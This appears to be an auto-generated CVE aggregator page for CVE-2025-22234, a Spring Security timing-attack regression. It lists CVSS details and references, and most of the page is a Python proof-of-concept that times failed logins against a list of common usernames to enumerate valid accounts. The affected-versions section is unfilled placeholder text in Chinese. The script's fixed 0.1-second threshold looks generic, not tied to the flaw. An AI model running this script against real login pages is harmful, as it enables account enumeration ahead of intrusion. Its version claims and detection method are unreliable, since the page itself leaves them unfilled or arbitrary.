CVE-2025-22234

Description

The fix applied in CVE-2025-22228 inadvertently broke the timing attack mitigation implemented in DaoAuthenticationProvider. This can allow attackers to infer valid usernames or other authentication behavior via response-time differences under certain configurations.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Spring Security < 受CVE-2025-22234影响的具体版本

使用DaoAuthenticationProvider的所有Spring Security版本

Spring Framework相关版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import time
import requests

# CVE-2025-22234 Timing Attack PoC
# Target: VMware Spring Security applications

TARGET_URL = "http://target.com/login"
USERNAMES = ["admin", "user", "test", "root", "guest"]

def timing_attack(username):
    """Measure response time for username enumeration"""
    times = []
    data = {
        "username": username,
        "password": "wrong_password_12345"
    }
    
    for _ in range(10):
        start = time.time()
        response = requests.post(TARGET_URL, data=data, timeout=10)
        elapsed = time.time() - start
        times.append(elapsed)
    
    avg_time = sum(times) / len(times)
    return avg_time

def main():
    print("CVE-2025-22234 Timing Attack PoC")
    print("=" * 50)
    
    results = {}
    for user in USERNAMES:
        avg = timing_attack(user)
        results[user] = avg
        print(f"Username: {user:15} | Avg Response: {avg:.4f}s")
    
    # Identify valid usernames by longer response time
    valid = [u for u, t in results.items() if t > 0.1]
    print(f"\nPotential valid usernames: {valid}")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-22234
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-22234
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-22234/
[4] VulDB https://vuldb.com/cve/CVE-2025-22234
[5] https://spring.io/security/cve-2025-22234/

Raw JSON Data

JSON

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